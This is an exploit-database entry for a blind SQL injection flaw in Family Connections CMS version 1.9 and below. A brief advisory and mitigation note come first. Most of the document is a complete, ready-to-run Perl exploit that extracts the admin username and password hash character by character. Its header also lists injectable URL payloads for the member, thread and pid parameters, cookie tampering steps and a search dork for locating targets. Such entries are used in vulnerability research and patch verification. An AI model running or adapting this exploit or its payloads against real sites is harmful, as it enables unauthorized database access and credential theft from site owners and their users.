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vendor:
Family Connections
by:
Not specified
7.5
CVSS
HIGH
Blind SQL Injection
Not specified
CWE
Product Name: Family Connections
Affected Version From: Version 1.9 and below
Affected Version To: Version 1.9
Patch Exists: NO
Related CWE: Not specified
CPE: Not specified
Metasploit:
Other Scripts:
Platforms Tested: Not specified
Not specified

Blind SQL Injection Exploit

This exploit is for a blind SQL injection vulnerability in the Family Connections CMS version 1.9 and below. The vulnerability allows an attacker to inject SQL queries through the 'member' GET variable. The exploit takes advantage of the vulnerability to extract sensitive information from the database.

Mitigation:

Upgrade to a version of Family Connections CMS higher than 1.9 to patch the vulnerability.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
#**							                                      **
#**    											      **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					¡PROUD TO BE SPANISH!				      **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       	   	   (GET var 'member') BLIND SQL INJECTION EXPLOIT  		      |
#|--------------------------------------------------------------------------------------------|
#|                           |      FAMILY CONNECTIONS <= v1.9     |		              |
#|  CMS INFORMATION:	      -------------------------------------	                      |
#|										              |
#|-->WEB: http://www.familycms.com/index.php		         	                      |
#|-->DOWNLOAD: http://www.familycms.com/download.php	          	                      |
#|-->DEMO: http://www.familycms.com/demo/index.php   	   				      |
#|-->CATEGORY: CMS/PORTAL								      |
#|-->DESCRIPTION: A private, easy-to-use website where you can connect  	 	      |
#|		with your friends and family. Share photos, messages, documents and more.     |
#|-->RELEASED: 2009-05-11								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3								      |
#|-->DORK: "2006-2009 Ryan Haudenschilt"				                      |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT			                              |
#|-->AFFECT VERSION: <= 1.9				 			              |
#|-->Discovered Bug date: 2009-05-11							      |
#|-->Reported Bug date: 2009-05-11							      |
#|-->Fixed bug date: N/A								      |
#|-->Info patch (????): N/A					  			      |
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#############
#-----------
#HISTORY:
#-----------
#############
#
#
#2008-06-14 --> http://www.milw0rm.com/exploits/5811 --> v1.4 --> Fixed
#
#2009-03-30 --> http://www.milw0rm.com/exploits/8319 --> v1.8.1 --> Not Fixed! (**)
#
#2009-04-03 --> http://www.milw0rm.com/exploits/8349 --> <=v1.8.2 --> Fixed
#
#2009-04-07 --> http://www.milw0rm.com/exploits/8361 --> <=v1.8.2 --> Not Fixed! (**)
#
#
#################################
#-------------------------------
#CURRENTLY:BLIND SQL INJECTION
#-------------------------------
#################################
#
#
#<<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>>
#
#<<<<-----------++++++++++++ Condition: Be register user  +++++++++++++----------->>>>
#
#
#=========
#---------
#COOKIES:
#---------
#=========
#
#
#fcms_login_uname=your_real_name
#
#fcms_login_pw=your_real_pass
#
#fcms_login_id=your_real_id+and+1=1
#
#
#(Delete PHPSESSID) Result: True --> Show page
#
#
#fcms_login_user=your_real_name
#
#fcms_login_pass=your_real_pass
#
#fcms_login_id=your_real_id+and+1=0
#
#
#(Delete PHPSESSID) Result: False --> Don't Show page
#
#
#Exploits --> (**)
#
#
#=====================================
#-------------------------------------
#(messageboard.php) GET var 'thread':
#-------------------------------------
#=====================================
#
#
#http://[HOST]/[PATH]/messageboard.php?thread=1+AND+1=1 --> TRUE
#
#http://[HOST]/[PATH]/messageboard.php?thread=1+AND+1=0 --> FALSE
#	
#
#================================
#--------------------------------
#(profile.php) GET var 'member':
#--------------------------------
#================================
#
#
#http://[HOST]/[PATH]/profile.php?member=2+AND+1=1 --> TRUE
#
#http://[HOST]/[PATH]/profile.php?member=2+AND+1=0 --> FALSE
#	
#
#===================================
#-----------------------------------
#(gallery/index.php) GET var 'pid':
#-----------------------------------
#===================================
#
#
#http://[HOST]/[PATH]/gallery/index.php?uid=2&cid=2&pid=1+and+1=1 --> TRUE
#
#http://[HOST]/[PATH]/gallery/index.php?uid=2&cid=2&pid=1+and+1=0 --> FALSE
#	
#
###########################
#--------------------------
#CONDITIONS TO EXPLOITING:
#--------------------------
###########################
#
#
#Valid username and password and id (Id is shown in cookies with autologin).
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##     GREETZ TO: JosS, Ulises2k and all spanish Hack3Rs community!  ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
#-------------------EOF--INFO------------------------------->>>ENJOY IT!
#
#
use LWP::UserAgent;
use HTTP::Request;
use Digest::MD5 qw(md5_hex);
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Family Connections <= v1.9 (GET var 'member') BLIND SQL Injection Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	my $request = HTTP::Request -> new(GET => $_[0]);
	my $cookieid="fcms_login_id=".$_[1];
	my $cookieuname="fcms_login_uname=".$_[2];
	my $cookiepw="fcms_login_pw=".$_[3];
	my $cookie=$cookieid.";".$cookieuname.";".$cookiepw;
	$request->header(cookie => $cookie);
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
	
}
sub helper {
	print "\n\t[!-!] Family Connections <= v1.9 (GET var 'member') BLIND SQLi Exploit\n";
	print "\t[!-!] USAGE MODE: [!-!]\n";
	print "\t[!-!] perl $0 [HOST] [PATH] [your-user] [your-pass] [your-id]\n";
	print "\t[!-!] [HOST]: Web.\n";
	print "\t[!-!] [PATH]: Home Path. Not use path= no-path\n";
	print "\t[!-!] [your-user]: Your username.\n";
	print "\t[!-!] [your-pass]: Your password.\n";
	print "\t[!-!] [your-id]: Id in cookies --> Name=fcms_login_id.\n";
	print "\t[!-!] Example: perl $0 'www.example.es' 'dogarchive' 'y3nh4ck3r' 'y3nh4ck3r' '123'\n"; 
}
sub error {
	print "\t-----------------------------------------------------------------\n";
	print "\tWEB IS NOT VULNERABLE!\n\n";
	print "\tMaybe --> \n\n";
	print "\t1.-Patched\n";
	print "\t2.-You aren't registered. Invalid username, password or id.\n\n";
	print "\tEXPLOIT FAILED!\n";
	print "\t-----------------------------------------------------------------\n";
}
sub testedblindsql {
	print "\t-----------------------------------------------------------------\n";
	print "\tWEB MAYBE BE VULNERABLE!\n\n";
	print "\tTested Blind SQL Injection.\n";		
	print "\tStarting exploit...\n"; 
	print "\t-----------------------------------------------------------------\n\n";
}
sub brute_length{
#User length
$exit=0;
$i=0;
while($exit==0){
	my $blindsql=$_[0]."+AND+(SELECT+length(username)+FROM+fcms_users+WHERE+id=1)=".$i++; #injected code
	$output=&request($blindsql,$_[1],$_[2],$_[3]);
	if($output =~ (/\<h3\>$_[2], $_[2]\<\/h3>/)){
		$exit=1;
	}else{
		$exit=0;
	}
	#Maybe patched. This is the max length of username
	if($i>25){
	&error;
	exit(1);
	}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength User catched!\n";
print "\tLength User: ".$length."\n";
print "\tBruteforcing User and Password values.\n";
print "\tWait several minutes (15 o 20 minutes)...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing
$values="";
$k=1;
	$z=48;
	while(($k<=$_[1]) && ($z<=126)){
		my $blindsql=$_[0].'+AND+ascii(substring((SELECT+'.$_[2].'+FROM+fcms_users+WHERE+id=1),'.$k.',1))='.$z;
		$output=&request($blindsql,$_[3],$_[4],$_[5]);
		if ($output =~ (/\<h3\>$_[4], $_[4]\<\/h3>/))
		{
			$values=$values.chr($z);
			$k++;
			$z=47;
		}
#new char
	$z++; 
	}
return $values;
}
#Main
&lw;
	print "\t\t#########################################################\n\n";
	print "\t\t#########################################################\n\n";
	print "\t\t##   Family Connections <= v1.9 - BLIND SQLi Exploit   ##\n\n";
	print "\t\t##                  Author: Y3nh4ck3r                  ##\n\n";
	print "\t\t##         Contact:y3nh4ck3r[at]gmail[dot]com          ##\n\n";
	print "\t\t##                  Proud to be Spanish!               ##\n\n";
	print "\t\t#########################################################\n\n";
	print "\t\t#########################################################\n\n";
#Init variables
	my $host=$ARGV[0];
	my $path=$ARGV[1];
	my $myuser=$ARGV[2];
	my $mypass=md5_hex($ARGV[3]);
	my $myid=$ARGV[4];
#Build the uri
#Build the uri
	if($path eq "no-path"){
		$finalhost="http://".$host."/profile.php?member=".$myid;
	}else{
		$finalhost="http://".$host."/".$path."/profile.php?member=".$myid;
	}
#Check all variables needed
$numArgs = $#ARGV + 1;
	if($numArgs<=4) 
	{
		&helper;
		exit(1);	
	}
$finalrequest = $finalhost;	
#Testing blind sql injection
$blindsql=$finalrequest."+AND+1=1";
$output=&request($blindsql,$myid,$myuser,$mypass);
if ($output =~ (/\<h3\>($myuser, $myuser)\<\/h3>/))
{    
	#blind sql injection is available
	&testedblindsql;
}else{ 
	#Not injectable
	&error;
	exit(1); 
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,$myid,$myuser,$mypass);	
#Bruteforcing username...
$username=&exploiting($finalrequest,$length_user,'username',$myid,$myuser,$mypass);
#Bruteforcing password...
$passhash=&exploiting($finalrequest,32,'password',$myid,$myuser,$mypass);
#final checking (perhaps admin id is not 2252)
if((!$username) || (!$passhash)){
	&error;
	exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED WITH SUCCESS ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$username."\n";
print "\t\tAdmin-password(md5 hash): ".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done

# milw0rm.com [2009-05-13]

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